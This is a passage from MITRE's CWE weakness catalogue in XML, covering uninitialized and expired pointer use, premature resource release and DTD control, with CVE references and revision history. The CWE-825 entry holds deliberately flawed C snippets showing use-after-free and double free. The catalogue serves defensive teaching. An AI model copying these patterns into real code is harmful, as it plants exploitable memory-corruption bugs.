            <Observed_Example>
               <Reference>CVE-2009-2694</Reference>
               <Description>Instant messaging library does not validate an offset value specified in a packet.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2694</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2687</Reference>
               <Description>Language interpreter does not properly handle invalid offsets in JPEG image, leading to out-of-bounds memory access and crash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2687</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0690</Reference>
               <Description>negative offset leads to out-of-bounds read</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0690</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4114</Reference>
               <Description>untrusted offset in kernel</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4114</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2873</Reference>
               <Description>"blind trust" of an offset value while writing heap memory allows corruption of function pointer,leading to code execution</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2873</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2866</Reference>
               <Description>negative value (signed) causes pointer miscalculation</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2866</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2872</Reference>
               <Description>signed values cause incorrect pointer calculation</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2872</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5657</Reference>
               <Description>values used as pointer offsets</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5657</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2867</Reference>
               <Description>a return value from a function is sign-extended if the value is signed, then used as an offset for pointer arithmetic</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2867</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1097</Reference>
               <Description>portions of a GIF image used as offsets, causing corruption of an object pointer.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1097</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1807</Reference>
               <Description>invalid numeric field leads to a free of arbitrary memory locations, then code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1807</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-2500</Reference>
               <Description>large number of elements leads to a free of an arbitrary address</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-2500</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1686</Reference>
               <Description>array index issue (CWE-129) with negative offset, used to dereference a function pointer</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1686</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2878</Reference>
               <Description>"buffer seek" value - basically an offset?</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2878</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="129"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Pointer Arithmetic&#34;, Page 277"/>
         </References>
         <Notes>
            <Note Type="Maintenance">There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.</Note>
            <Note Type="Terminology">Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-09-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="824" Name="Access of Uninitialized Pointer" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product accesses or uses a pointer that has not been initialized.</Description>
         <Extended_Description>
            <xhtml:p>If the pointer contains an uninitialized value, then the value might not point to a valid memory location. This could cause the product to read from or write to unexpected memory locations, leading to a denial of service. If the uninitialized pointer is used as a function call, then arbitrary functions could be invoked. If an attacker can influence the portion of uninitialized memory that is contained in the pointer, this weakness could be leveraged to execute code or perform other attacks.</xhtml:p>
            <xhtml:p>Depending on memory layout, associated memory management behaviors, and product operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1003" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1340" Ordinal="Primary"/>
             <Related_Weakness Nature="CanPrecede" CWE_ID="125" View_ID="1000"/>
             <Related_Weakness Nature="CanPrecede" CWE_ID="787" View_ID="1000"/>
         </Related_Weaknesses>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Note>If the uninitialized pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>If the uninitialized pointer references a memory location that is not accessible to the product, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>If the uninitialized pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2010-0211</Reference>
               <Description>chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-0211</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2768</Reference>
               <Description>Pointer in structure is not initialized, leading to NULL pointer dereference (CWE-476) and system crash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2768</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1721</Reference>
               <Description>Free of an uninitialized pointer.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1721</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1415</Reference>
               <Description>Improper handling of invalid signatures leads to free of invalid pointer.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1415</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0846</Reference>
               <Description>Invalid encoding triggers free of uninitialized pointer.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0846</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0040</Reference>
               <Description>Crafted PNG image leads to free of uninitialized pointer.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0040</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2934</Reference>
               <Description>Crafted GIF image leads to free of uninitialized pointer.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2934</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4682</Reference>
               <Description>Access of uninitialized pointer might lead to code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4682</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4639</Reference>
               <Description>Step-based manipulation: invocation of debugging function before the primary initialization function leads to access of an uninitialized pointer and code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4639</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4000</Reference>
               <Description>Unchecked return values can lead to a write to an uninitialized pointer.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4000</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-2442</Reference>
               <Description>zero-length input leads to free of uninitialized pointer.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-2442</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1213</Reference>
               <Description>Crafted font leads to uninitialized function pointer.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1213</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6143</Reference>
               <Description>Uninitialized function pointer in freed memory is invoked</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6143</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4175</Reference>
               <Description>LDAP server mishandles malformed BER queries, leading to free of uninitialized memory</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4175</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-0054</Reference>
               <Description>Firewall can crash with certain ICMP packets that trigger access of an uninitialized pointer.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-0054</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1201</Reference>
               <Description>LDAP server does not initialize members of structs, which leads to free of uninitialized pointer if an LDAP request fails.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1201</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 7, &#34;Variable Initialization&#34;, Page 312"/>
         </References>
         <Notes>
            <Note Type="Maintenance">There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.</Note>
            <Note Type="Terminology">Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-09-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="825" Name="Expired Pointer Dereference" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.</Description>
         <Extended_Description>When a product releases memory, but it maintains a pointer to that memory, then the memory might be re-allocated at a later time. If the original pointer is accessed to read or write data, then this could cause the product to read or modify data that is in use by a different function or process. Depending on how the newly-allocated memory is used, this could lead to a denial of service, information exposure, or code execution.</Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1340" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="672" View_ID="1000"/>
             <Related_Weakness Nature="CanPrecede" CWE_ID="125" View_ID="1000"/>
             <Related_Weakness Nature="CanPrecede" CWE_ID="787" View_ID="1000"/>
         </Related_Weaknesses>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Dangling pointer</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Note>If the expired pointer is used in a read operation, an attacker might be able to control data read in by the application.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>If the expired pointer references a memory location that is not accessible to the product, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>If the expired pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Choose a language that provides automatic memory management.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-71">
               <Intro_Text>The following code shows a simple example of a use after free error:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char* ptr = (char*)malloc (SIZE);<xhtml:br/>if (err) {<xhtml:div style="margin-left:1em;">abrt = 1;<xhtml:br/>free(ptr);</xhtml:div>}<xhtml:br/>...<xhtml:br/>if (abrt) {<xhtml:div style="margin-left:1em;">logError("operation aborted before commit", ptr);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-72">
               <Intro_Text>The following code shows a simple example of a double free error:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char* ptr = (char*)malloc (SIZE);<xhtml:br/>...<xhtml:br/>if (abrt) {<xhtml:div style="margin-left:1em;">free(ptr);</xhtml:div>}<xhtml:br/>...<xhtml:br/>free(ptr);</xhtml:div>
               </Example_Code>
               <Body_Text>Double free vulnerabilities have two common (and sometimes overlapping) causes:</Body_Text>
               <Body_Text>
                  <xhtml:ul>
                     <xhtml:li>
                        <xhtml:div>Error conditions and other exceptional circumstances</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>Confusion over which part of the program is responsible for freeing the memory</xhtml:div>
                     </xhtml:li>
                  </xhtml:ul>
               </Body_Text>
               <Body_Text>Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-5013</Reference>
               <Description>access of expired memory address leads to arbitrary code execution</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5013</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-3257</Reference>
               <Description>stale pointer issue leads to denial of service and possibly other consequences</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3257</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0062</Reference>
               <Description>Chain: a message having an unknown message type may cause a reference to uninitialized memory resulting in a null pointer dereference (CWE-476) or dangling pointer (CWE-825), possibly crashing the system or causing heap corruption.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0062</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1211</Reference>
               <Description>read of value at an offset into a structure after the offset is no longer valid</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1211</Link>
            </Observed_Example>
         </Observed_Examples>
         <Notes>
            <Note Type="Maintenance">There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.</Note>
            <Note Type="Terminology">Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-09-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Alternate_Terms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="826" Name="Premature Release of Resource During Expected Lifetime" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product releases a resource that is still intended to be used by itself or another actor.</Description>
         <Extended_Description>
            <xhtml:p>This weakness focuses on errors in which the product should not release a resource, but performs the release anyway. This is different than a weakness in which the product releases a resource at the appropriate time, but it maintains a reference to the resource, which it later accesses. For this weakness, the resource should still be valid upon the subsequent access.</xhtml:p>
            <xhtml:p>When a product releases a resource that is still being used, it is possible that operations will still be taken on this resource, which may have been repurposed in the meantime, leading to issues similar to CWE-825. Consequences may include denial of service, information exposure, or code execution.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="666" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="672" View_ID="1000"/>
         </Related_Weaknesses>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Read Memory</Impact>
               <Note>If the released resource is subsequently reused or reallocated, then a read operation on the original resource might access sensitive data that is associated with a different user or entity.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>When the resource is released, the software might modify some of its structure, or close associated channels (such as a file descriptor). When the software later accesses the resource as if it is valid, the resource might not be in an expected state, leading to resultant errors that may lead to a crash.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Modify Application Data</Impact>
               <Impact>Modify Memory</Impact>
               <Note>When the resource is released, the software might modify some of its structure. This might affect logic in the sections of code that still assume the resource is active. If the released resource is related to memory and is used in a function call, or points to unexpected data in a write operation, then code execution may be possible upon subsequent accesses.</Note>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2009-3547</Reference>
               <Description>chain: race condition might allow resource to be released before operating on it, leading to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3547</Link>
            </Observed_Example>
         </Observed_Examples>
         <Notes>
            <Note Type="Research Gap">Under-studied and under-reported as of September 2010. This weakness has been reported in high-visibility software, although the focus has been primarily on memory allocation and de-allocation. There are very few examples of this weakness that are not directly related to memory management, although such weaknesses are likely to occur in real-world software for other types of resources.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-09-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="827" Name="Improper Control of Document Type Definition" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product does not restrict a reference to a Document Type Definition (DTD) to the intended control sphere. This might allow attackers to reference arbitrary DTDs, possibly causing the product to expose files, consume excessive system resources, or execute arbitrary http requests on behalf of the attacker.</Description>
         <Extended_Description>
            <xhtml:p>As DTDs are processed, they might try to read or include files on the machine performing the parsing. If an attacker is able to control the DTD, then the attacker might be able to specify sensitive resources or requests or provide malicious content.</xhtml:p>
            <xhtml:p>For example, the SOAP specification prohibits SOAP messages from containing DTDs.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="706" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="829" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="776" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="XML" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
               <Note>If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Note>The DTD may cause the parser to consume excessive CPU cycles or memory using techniques such as nested or recursive entity references (CWE-776).</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.</Note>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2010-2076</Reference>
               <Description>Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2076</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-773"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-10-25</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
